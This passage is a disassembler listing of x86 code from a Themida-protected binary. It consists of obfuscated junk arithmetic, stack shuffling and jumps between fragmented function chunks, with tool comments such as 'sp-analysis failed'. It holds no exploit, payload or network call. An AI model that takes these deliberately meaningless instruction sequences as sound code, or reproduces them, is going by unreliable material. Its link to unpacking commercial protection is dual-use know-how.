loc_56925B: ; CODE XREF: sub_56542E+9B36j
xchg eax, [esp+8+var_8]
pop esp
xor ebp, [esp+4+var_4]
jmp loc_5643FF
; END OF FUNCTION CHUNK FOR sub_56542E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569267: ; CODE XREF: sub_56755A-A070j
pop esp
xor edi, ebp
pop ebp
and eax, edi
jmp loc_56C07A
; ---------------------------------------------------------------------------
loc_569272: ; CODE XREF: sub_56755A+53Aj
add eax, 4
add eax, 4
jmp loc_5665D6
; ---------------------------------------------------------------------------
loc_569281: ; CODE XREF: sub_56755A-7546j
mov esp, [esp-4+arg_0]
jmp loc_565199
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569289: ; CODE XREF: Themida_:00570653j
mov [esp], esp
jmp loc_562416
; ---------------------------------------------------------------------------
loc_569291: ; CODE XREF: Themida_:00569857j
pop esi
xchg edi, [esp]
pop esp
push 2C67h
mov [esp], edi
sub esp, 4
mov [esp], esi
push ecx
jmp loc_567A5D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5692AA: ; CODE XREF: sub_56755A-966Ej
xor [esp+16h+var_18+2], ebp
push ebp
push eax
pop ebp
mov eax, [esp+1Ah+var_1C+2]
add esp, 4
not eax
xchg eax, ebp
jmp loc_56366A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55EA9F
loc_5692BE: ; CODE XREF: sub_55EA9F+7C80j
mov esi, 4
sub ebp, esi
mov esi, [esp+4+var_4]
add esp, 4
xchg ebp, [esp+0]
pop esp
mov [esp-4+arg_0], edi
push eax
mov eax, 1
mov edi, eax
jmp loc_56D6E4
; END OF FUNCTION CHUNK FOR sub_55EA9F
; ---------------------------------------------------------------------------
loc_5692E2: ; CODE XREF: Themida_:005653A9j
xor ebp, [esp]
jmp loc_55BC67
; ---------------------------------------------------------------------------
loc_5692EA: ; CODE XREF: Themida_:00569472j
mov esp, [esp]
jmp loc_55BAE7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564356
loc_5692F2: ; CODE XREF: sub_564356-3B4Aj
pop ebp
push ecx
jmp sub_562F88
; END OF FUNCTION CHUNK FOR sub_564356
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_563616
loc_5692F9: ; CODE XREF: sub_563616-5168j
add ebx, 2
jmp loc_55DB83
; END OF FUNCTION CHUNK FOR sub_563616
; ---------------------------------------------------------------------------
loc_569301: ; CODE XREF: Themida_:0056BE70j
pop edi
inc esi
xor esi, 568A3639h
jmp loc_56875D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56930E: ; CODE XREF: sub_56755A+656j
pop esi
shr edi, 2
jmp loc_5675DE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569317: ; CODE XREF: Themida_:0055DECCj
mov edi, 30AC7B21h
push edi
add dword ptr [esp], 7D9E11BBh
pop ecx
sub ecx, 7D9E11BBh
pop edi
push eax
jmp loc_56C012
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56667A
loc_569332: ; CODE XREF: sub_56667A+86DCj
xor edx, 327227B5h
push ebx
mov ebx, 0B2AC42B8h
sub edx, 78D95AD6h
sub edx, ebx
add edx, 78D95AD6h
pop ebx
add ebx, 50630F58h
add ebx, edx
jmp loc_569B09
; END OF FUNCTION CHUNK FOR sub_56667A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56935A: ; CODE XREF: sub_56755A-69A1j
mov edx, esp
add edx, 4
push eax
jmp loc_56A449
; ---------------------------------------------------------------------------
loc_569368: ; CODE XREF: sub_56755A+7ED0j
xor edx, 0F9DDC3F4h
add edi, edx
pop edx
xchg edi, [esp+10h+var_10]
pop esp
jmp loc_55F2BB
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_56937A: ; CODE XREF: Themida_:0056D034j
sub ebx, 1814103h
add ebp, ebx
pop ebx
push 164Ch
jmp loc_55FAEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56938D: ; CODE XREF: sub_56755A+7C0Aj
or eax, 4F9516C6h
and eax, 67BB00F0h
push ecx
mov ecx, 25F114ACh
add eax, ecx
pop ecx
jmp sub_56D164
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56F653
loc_5693A5: ; CODE XREF: sub_56F653-2F0Aj
mov ch, 12h
add ch, bh
pop ebx
not ch
push 2ACh
mov [esp-4+arg_0], ebx
mov bl, 7Eh
and ch, bl
pop ebx
sub ch, 6Bh
add bl, ch
pop ecx
jmp loc_55EC0A
; END OF FUNCTION CHUNK FOR sub_56F653
; ---------------------------------------------------------------------------
loc_5693C4: ; CODE XREF: Themida_:0055C33Dj
mov [esp], edx
mov edx, 3F1F6007h
jmp loc_56E00B
; ---------------------------------------------------------------------------
loc_5693D1: ; CODE XREF: Themida_:0055E13Fj
xor [esp], edi
xor edi, [esp]
pop esp
mov ax, [esp]
sub esp, 4
mov [esp], esi
push esp
mov esi, [esp]
add esp, 4
push 4801h
mov [esp], eax
mov eax, 4
sub esi, 667C65E2h
add esi, 1DBD04CCh
add esi, eax
jmp loc_56211D
; ---------------------------------------------------------------------------
loc_569409: ; CODE XREF: Themida_:0056F44Aj
sub esi, 57E01491h
add esi, edx
add esi, 57E01491h
pop edx
push 338Eh
mov [esp], esi
push dword ptr [esp+4]
jmp loc_563D20
; ---------------------------------------------------------------------------
loc_569429: ; CODE XREF: Themida_:005671FBj
mov [esp], esi
jmp loc_56C3B3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5706E9
loc_569431: ; CODE XREF: sub_5706E9-9DA7j
xor esi, eax
xor eax, esi
shr eax, 8
jmp loc_5690F9
; END OF FUNCTION CHUNK FOR sub_5706E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_568470
loc_56943D: ; CODE XREF: sub_568470-909Cj
sub [esp-24h+arg_24], 4F9732AAh
jmp loc_56C73D
; END OF FUNCTION CHUNK FOR sub_568470
; ---------------------------------------------------------------------------
loc_56944A: ; CODE XREF: Themida_:00565419j
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edx
mov edx, 734D11D1h
push 60FEh
mov [esp], ebp
mov ebp, 1
jmp loc_56EFCD
; ---------------------------------------------------------------------------
loc_56946A: ; CODE XREF: Themida_:0056CBADj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
jmp loc_5692EA
; ---------------------------------------------------------------------------
loc_569477: ; CODE XREF: Themida_:00562B79j
mov ecx, 56E70C24h
jmp loc_56E118
; ---------------------------------------------------------------------------
loc_569481: ; CODE XREF: Themida_:0055D859j
push edx
push ecx
jmp loc_5671A5
; ---------------------------------------------------------------------------
loc_569488: ; CODE XREF: Themida_:00569B04j
xor ebx, 6E863F3Dh
shr ebx, 4
jmp loc_55E7BD
; =============== S U B R O U T I N E =======================================
sub_569496 proc near ; CODE XREF: sub_56755A-B052j
var_4 = dword ptr -4
arg_0 = byte ptr 4
; FUNCTION CHUNK AT 0055BF6A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00564F26 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BF75 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C4E9 SIZE 00000007 BYTES
sub esp, 4
mov [esp+0], eax
not byte ptr [esp+1]
jmp loc_55BF6A
sub_569496 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5702DD
loc_5694A5: ; CODE XREF: sub_5702DD-C615j
xor [esp-4+arg_4], edi
mov edi, [esp-4+arg_0]
add esp, 4
pop esi
jmp sub_564356
; END OF FUNCTION CHUNK FOR sub_5702DD
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_5694B5: ; CODE XREF: sub_570668-7878j
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
push eax
mov eax, 0CB25BAECh
sub ebx, 64C63C9Bh
add ebx, eax
add ebx, 64C63C9Bh
jmp loc_56296B
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
loc_5694D5: ; CODE XREF: Themida_:005617D0j
push small 1D22h
mov [esp], dx
xchg cl, [esp]
not cl
xchg cl, [esp]
mov dx, [esp]
add esp, 2
neg dl
xor dl, 0C0h
add al, dl
push dword ptr [esp]
pop edx
add esp, 4
push ebp
jmp loc_5630FD
; ---------------------------------------------------------------------------
loc_569503: ; CODE XREF: Themida_:0055C7D4j
mov ebp, 3FC060D0h
and ebp, 413403DDh
sub ebp, 8C2BC730h
mov esi, ebp
pop ebp
push edx
jmp loc_562D15
; ---------------------------------------------------------------------------
loc_56951D: ; CODE XREF: Themida_:005674E3j
sub ch, dh
pop edx
jmp loc_560207
; ---------------------------------------------------------------------------
loc_569525: ; CODE XREF: Themida_:00563BC3j
add esp, 4
jmp loc_56C230
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56952D: ; CODE XREF: sub_56755A-58E0j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp-10h+arg_C]
mov esp, [esp-10h+arg_C]
push edi
mov edi, 2E1E4CF8h
add esi, 5054548h
sub esi, 7C602270h
add esi, edi
jmp loc_562305
; ---------------------------------------------------------------------------
loc_56955B: ; CODE XREF: sub_56755A+713Cj
mov ebp, 49E259C3h
not ebp
add ebp, 9D2FA0A4h
add ecx, ebp
jmp loc_5622E9
; ---------------------------------------------------------------------------
loc_56956F: ; CODE XREF: sub_56755A-A618j
sub byte ptr [esp-4+arg_0], al
pushf
jmp loc_56F869
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569578: ; CODE XREF: Themida_:00565152j
sub esp, 4
mov [esp], edx
push 1EB0h
mov [esp], ecx
jmp loc_570385
; ---------------------------------------------------------------------------
loc_56958B: ; CODE XREF: Themida_:00566557j
pop ebp
add ebp, 4
sub ebp, 4
push ebp
push dword ptr [esp+4]
push dword ptr [esp]
jmp loc_56116F
; ---------------------------------------------------------------------------
loc_5695A5: ; CODE XREF: Themida_:0056E84Ej
pop esi
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
push ebp
mov ebp, 4
add esi, ebp
pop ebp
sub esp, 4
mov [esp], edx
push ebp
push 69635211h
pop ebp
jmp loc_56DFC1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5695D1: ; CODE XREF: sub_56755A+6E7Fj
sub bl, 0F6h
add bl, 21h
add bl, cl
sub bl, 21h
push 26B1h
jmp loc_568395
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_570668
loc_5695E6: ; CODE XREF: sub_570668-133DEj
sub eax, 181A6B62h
sub esp, 4
jmp loc_55D1FD
; END OF FUNCTION CHUNK FOR sub_570668
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E1C0
loc_5695F3: ; CODE XREF: sub_56E1C0-456Cj
push ecx
mov ch, 1Ah
mov bh, 1Eh
sub bh, ch
mov ecx, [esp+0]
add esp, 4
and bh, 8Ah
inc bh
xor bh, 2Ah
sub al, bh
mov ebx, [esp-4+arg_0]
add esp, 4
sub al, dl
add al, 2Bh
mov edx, [esp-8+arg_4]
jmp loc_562D0C
; END OF FUNCTION CHUNK FOR sub_56E1C0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56971C
loc_569622: ; CODE XREF: sub_56971C-58E4j
sub eax, esi
pop esi
add eax, esi
add eax, 3BEE2355h
mov esi, [esp+0Ch+var_C]
sub esp, 4
mov [esp+10h+var_10], edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+10h+var_10]
pop esp
mov esi, eax
mov eax, [esp+0Ch+var_C]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp+10h+var_10]
pop esp
and ecx, esi
jmp loc_564295
; END OF FUNCTION CHUNK FOR sub_56971C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569666: ; CODE XREF: sub_56755A+69Dj
push edx
mov edx, esp
add edx, 4
jmp loc_5653FE
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569674: ; CODE XREF: Themida_:0055EE8Fj
mov ebp, 36422082h
jmp loc_56A683
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56967E: ; CODE XREF: sub_56755A-2F4j
mov [esp+2Ah+var_2C+2], eax
jmp loc_55CA2A
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5637DB
loc_569686: ; CODE XREF: sub_5637DB-1007j
mov eax, 66DBBC60h
jmp loc_5661ED
; END OF FUNCTION CHUNK FOR sub_5637DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569690: ; CODE XREF: sub_56755A-AE70j
pop esp
jmp loc_56776B
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_569696: ; CODE XREF: sub_561C3A-26B3j
mov [esp-4+arg_0], ecx
push 230Ch
mov [esp+0], edx
jmp loc_56997F
; END OF FUNCTION CHUNK FOR sub_561C3A
; =============== S U B R O U T I N E =======================================
sub_5696A6 proc near ; CODE XREF: sub_56755A-1DEFj
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0055FCE9 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563D5B SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0056F965 SIZE 00000013 BYTES
push ebp
mov ebp, 1B5179FFh
sub ebp, 1B5179FBh
add eax, ebp
pop ebp
xchg eax, [esp+0]
pop esp
push [esp+8+var_8]
pop ecx
jmp loc_563D5B
sub_5696A6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5696C2: ; CODE XREF: Themida_:0055FEF0j
mov edx, 69C10503h
dec edx
push ecx
mov ecx, 2D924EAFh
shr ecx, 7
jmp loc_566431
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_5696D6: ; CODE XREF: sub_55E931+F56j
add eax, 4
xchg eax, [esp+0]
mov esp, [esp+0]
add esi, 4
push 1318h
mov [esp+4+var_4], eax
mov eax, 4
sub esi, 527679DAh
add esi, eax
push ebp
jmp loc_56045D
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569700: ; CODE XREF: sub_56755A+5E10j
sub al, 5Bh
push ecx
mov cl, 0FEh
jmp loc_5687BA
; END OF FUNCTION CHUNK FOR sub_56755A
; =============== S U B R O U T I N E =======================================
sub_56970A proc near ; CODE XREF: sub_5635DE-395Bj
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055C86A SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055DE09 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0055DF0B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055F7D4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00560881 SIZE 0000000C BYTES
push ebp
push esi
jmp loc_55F7D4
sub_56970A endp
; ---------------------------------------------------------------------------
loc_569711: ; CODE XREF: Themida_:00566A05j
push 2142593Ch
pop ebp
jmp loc_55BAAE
; =============== S U B R O U T I N E =======================================
sub_56971C proc near ; CODE XREF: sub_56A161+Bj
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0055B779 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055BE35 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055C1C6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562A7F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00562AC6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562ECC SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00563312 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056364E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00563A6F SIZE 0000007F BYTES
; FUNCTION CHUNK AT 00563B5B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00563E32 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00564295 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005648DD SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005649BC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00564CA0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056636A SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00566DF0 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0056856E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00568C44 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 00569622 SIZE 00000044 BYTES
; FUNCTION CHUNK AT 0056A80B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056A919 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056C072 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056C7FF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056CD1B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0056E43E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00570064 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00570150 SIZE 00000010 BYTES
push ebp
mov ebp, 1DDE2ECFh
push eax
push 260794Bh
jmp loc_570064
sub_56971C endp
; ---------------------------------------------------------------------------
mov eax, [esp]
push ecx
mov ecx, esp
sub esp, 4
mov [esp], esi
push 59EAh
mov [esp], edx
mov edx, 4
jmp loc_55CDF4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56974B: ; CODE XREF: sub_56755A-8687j
push [esp+20h+var_20]
pop edi
push edi
mov edi, esp
add edi, 4
push eax
mov eax, 4
jmp loc_56B35C
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_569763: ; CODE XREF: sub_5635DE-6868j
neg ecx
sub esp, 4
mov [esp+8+var_8], ebp
mov ebp, 1E9057B3h
xor ecx, ebp
jmp loc_565336
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56977A: ; CODE XREF: sub_56755A+4FB7j
pop esp
shl ebx, 5
push edi
jmp loc_55FA62
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
push 7F1Fh
mov [esp], ecx
push 1B10h
jmp loc_55F0CA
; ---------------------------------------------------------------------------
loc_569796: ; CODE XREF: Themida_:0056FCEEj
and edx, 678A39B9h
add edx, 0BD58DC93h
sub esi, edx
jmp loc_56790D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56B5E8
loc_5697A9: ; CODE XREF: sub_56B5E8-4FF7j
pop edi
add ecx, 39FC4D54h
jmp loc_566B3A
; END OF FUNCTION CHUNK FOR sub_56B5E8
; ---------------------------------------------------------------------------
loc_5697B5: ; CODE XREF: Themida_:0055C5BDj
push ebx
jmp loc_569D14
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5697BB: ; CODE XREF: sub_56755A+4EBj
add ebx, 29204119h
add ebx, eax
sub ebx, 29204119h
jmp loc_55CEE1
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5697CE: ; CODE XREF: Themida_:00561E75j
mov edi, esp
add edi, 4
jmp loc_56FB73
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5697DB: ; CODE XREF: sub_56755A+8D7j
mov bx, bp
pop ebp
sub di, bx
jmp loc_564F34
; ---------------------------------------------------------------------------
loc_5697E7: ; CODE XREF: sub_56755A-414Cj
xchg edx, [esp-18h+arg_14]
pop esp
push 313Dh
jmp loc_56DE6F
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5697F5: ; CODE XREF: Themida_:0056E5EFj
push ebp
jmp loc_560A6C
; ---------------------------------------------------------------------------
loc_5697FB: ; CODE XREF: Themida_:00568AB5j
inc edi
jmp loc_565AA7
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_569801: ; CODE XREF: sub_56E89A-254j
xor esi, eax
xor eax, esi
push ebp
mov ebp, esp
add ebp, 4
jmp loc_56913F
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_569813: ; CODE XREF: Themida_:00570021j
pop esi
push 6F18h
mov [esp], eax
sub esp, 4
jmp loc_56D047
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E89A
loc_569827: ; CODE XREF: sub_56E89A-FECFj
push 34D6h
mov [esp+8+var_8], esi
mov esi, esp
add esi, 4
push 10C9h
mov [esp+0Ch+var_C], edi
push edx
jmp loc_55EF4A
; END OF FUNCTION CHUNK FOR sub_56E89A
; ---------------------------------------------------------------------------
loc_569845: ; CODE XREF: Themida_:005621D9j
add edi, ebx
push dword ptr [esp]
jmp loc_56151C
; ---------------------------------------------------------------------------
loc_56984F: ; CODE XREF: Themida_:0056D142j
xor esi, 7FB03EF3h
add edi, esi
jmp loc_569291
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56E75E
loc_56985C: ; CODE XREF: sub_56E75E-10580j
xor esi, 700C6961h
add esi, 30527FC0h
jmp loc_56B14B
; END OF FUNCTION CHUNK FOR sub_56E75E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56986D: ; CODE XREF: sub_56755A-AC8Aj
mov esi, [esp-8+arg_4]
add esp, 4
jmp loc_564AA5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569878: ; CODE XREF: Themida_:00561A03j
push ebx
push ebp
push 54CD7090h
pop ebp
sub ebp, 11AA1C92h
jmp loc_5650CB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56988B: ; CODE XREF: sub_56755A-52C9j
sub eax, 9D51BCBh
add eax, edi
sub esp, 4
mov [esp+20h+var_20], edi
mov edi, 58DE1D3Bh
jmp loc_55C38C
; ---------------------------------------------------------------------------
loc_5698A5: ; CODE XREF: sub_56755A-1AF8j
or ebx, 20B64DABh
and ebx, 1CAF02E3h
and ebx, 4F5246B1h
neg ebx
sub ebx, 77A97D9Bh
sub ebx, 5EE1047Dh
mov edi, ebx
pop ebx
push edx
jmp loc_56C2E8
; ---------------------------------------------------------------------------
loc_5698CE: ; CODE XREF: sub_56755A+1A2j
inc dl
add dl, 57h
mov bl, dl
mov edx, [esp+1Eh+var_20+2]
jmp loc_561762
; ---------------------------------------------------------------------------
loc_5698DD: ; CODE XREF: sub_56755A+2C51j
mov bl, ch
pop ecx
push edx
mov dh, 0BEh
inc dh
jmp loc_56DDD2
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5698EA: ; CODE XREF: Themida_:0055E1D3j
mov edi, ebp
jmp loc_56A2B6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_5698F1: ; CODE XREF: sub_56755A+96Bj
mov ebx, ecx
jmp loc_56DD35
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_5698F8: ; CODE XREF: Themida_:00568B1Ej
push ebx
mov ebx, 556B7719h
push edx
mov edx, 23C97B1Ch
dec edx
add edx, 40BB3EC8h
xor edx, 277196D5h
mov ebp, edx
pop edx
xor ebp, ebx
jmp loc_55FF87
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5635DE
loc_56991B: ; CODE XREF: sub_5635DE+A04Aj
add esi, edx
sub esp, 4
mov [esp+0Ch+var_C], edx
sub esp, 4
mov [esp+10h+var_10], ecx
push 538812E2h
pop ecx
neg ecx
jmp loc_56F825
; END OF FUNCTION CHUNK FOR sub_5635DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_564E24
loc_569936: ; CODE XREF: sub_564E24-6E23j
mov eax, 79BEEE52h
add ecx, 2C123F07h
sub ecx, eax
jmp loc_55CB51
; END OF FUNCTION CHUNK FOR sub_564E24
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569948: ; CODE XREF: sub_56755A-247Bj
add edi, 0AE65CD91h
jmp loc_55ECA5
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55E931
loc_569953: ; CODE XREF: sub_55E931+BED5j
add ebx, 490276ADh
shr ebx, 7
shl ebx, 8
dec ebx
add ebx, 0BAA6B6B6h
xor edi, ebx
pop ebx
jmp loc_56F854
; END OF FUNCTION CHUNK FOR sub_55E931
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56996E: ; CODE XREF: sub_56755A-2728j
add edx, ecx
pop ecx
push [esp+0Ah+var_C+2]
pop ecx
add esp, 4
add eax, edx
jmp loc_569F48
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_561C3A
loc_56997F: ; CODE XREF: sub_561C3A+7A67j
push 1AD51F2h
pop edx
mov ecx, edx
mov edx, [esp+0]
jmp loc_564CB2
; END OF FUNCTION CHUNK FOR sub_561C3A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_56998F: ; CODE XREF: sub_56755A+8A7j
push esp
pop ebx
jmp sub_563616
; ---------------------------------------------------------------------------
loc_569996: ; CODE XREF: sub_56755A+36BEj
sub eax, 0A0820AEDh
mov ebx, eax
jmp loc_56C293
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_55C6A6
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565269
loc_5699AB: ; CODE XREF: sub_565269-43B9j
mov ebp, 2366613Bh
mov eax, 9EA7B220h
sub eax, ebp
pop ebp
shl eax, 3
shr eax, 3
sub eax, 6B260142h
jmp loc_56EE7E
; END OF FUNCTION CHUNK FOR sub_565269
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55BA18
loc_5699C8: ; CODE XREF: sub_55BA18+89Dj
shr ecx, 2
push ebx
jmp loc_56622A
; END OF FUNCTION CHUNK FOR sub_55BA18
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56D164
loc_5699D1: ; CODE XREF: sub_56D164-1127Ej
add ebp, ebx
pop ebx
jmp loc_56D438
; END OF FUNCTION CHUNK FOR sub_56D164
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56BA15
loc_5699D9: ; CODE XREF: sub_56BA15+1j
mov ebx, 414D7065h
sub esi, ebx
pop ebx
jmp loc_560956
; END OF FUNCTION CHUNK FOR sub_56BA15
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_562462
loc_5699E6: ; CODE XREF: sub_562462-4583j
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_562462
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_565B25
loc_5699EB: ; CODE XREF: sub_565B25+1Dj
mov ebx, ebp
jmp loc_56D65B
; END OF FUNCTION CHUNK FOR sub_565B25
; ---------------------------------------------------------------------------
push edi
mov edi, esp
push 7D36h
mov [esp], edx
jmp loc_5646E9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_56755A
loc_569A02: ; CODE XREF: sub_56755A+6E9Cj
and eax, edi
pop edi
or eax, eax
jz sub_569E65
push dword ptr [edi+28h]
push [esp+26h+var_28+2]
mov eax, [esp+2Ah+var_2C+2]
jmp loc_565F66
; END OF FUNCTION CHUNK FOR sub_56755A
; ---------------------------------------------------------------------------
loc_569A1B: ; CODE XREF: Themida_:0056CC83j
pop esi
push ebx
mov ebx, 4
add ebp, ebx
pop ebx
xor ebp, [esp]
xor [esp], ebp
xor ebp, [esp]
jmp loc_55D6A6
; ---------------------------------------------------------------------------
loc_569A33: ; CODE XREF: Themida_:0056D2BBj
mov ecx, [esp]
add esp, 4
push ebp
mov ebp, 4
add ecx, 23E43CE4h
add ecx, ebp
sub ecx, 23E43CE4h
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ebx
jmp loc_55F1B4
; ---------------------------------------------------------------------------
loc_569A67: ; CODE XREF: Themida_:0056E172j
pop esp
mov ecx, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
jmp loc_566F48
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55FE13
loc_569A7F: ; CODE XREF: sub_55FE13+AC3Cj
mov [esp-0Ch+arg_8], ax
jmp loc_55B555
; END OF FUNCTION CHUNK FOR sub_55FE13
; ---------------------------------------------------------------------------
loc_569A88: ; CODE XREF: Themida_:00569C48j
pop ecx
push 5E6Eh
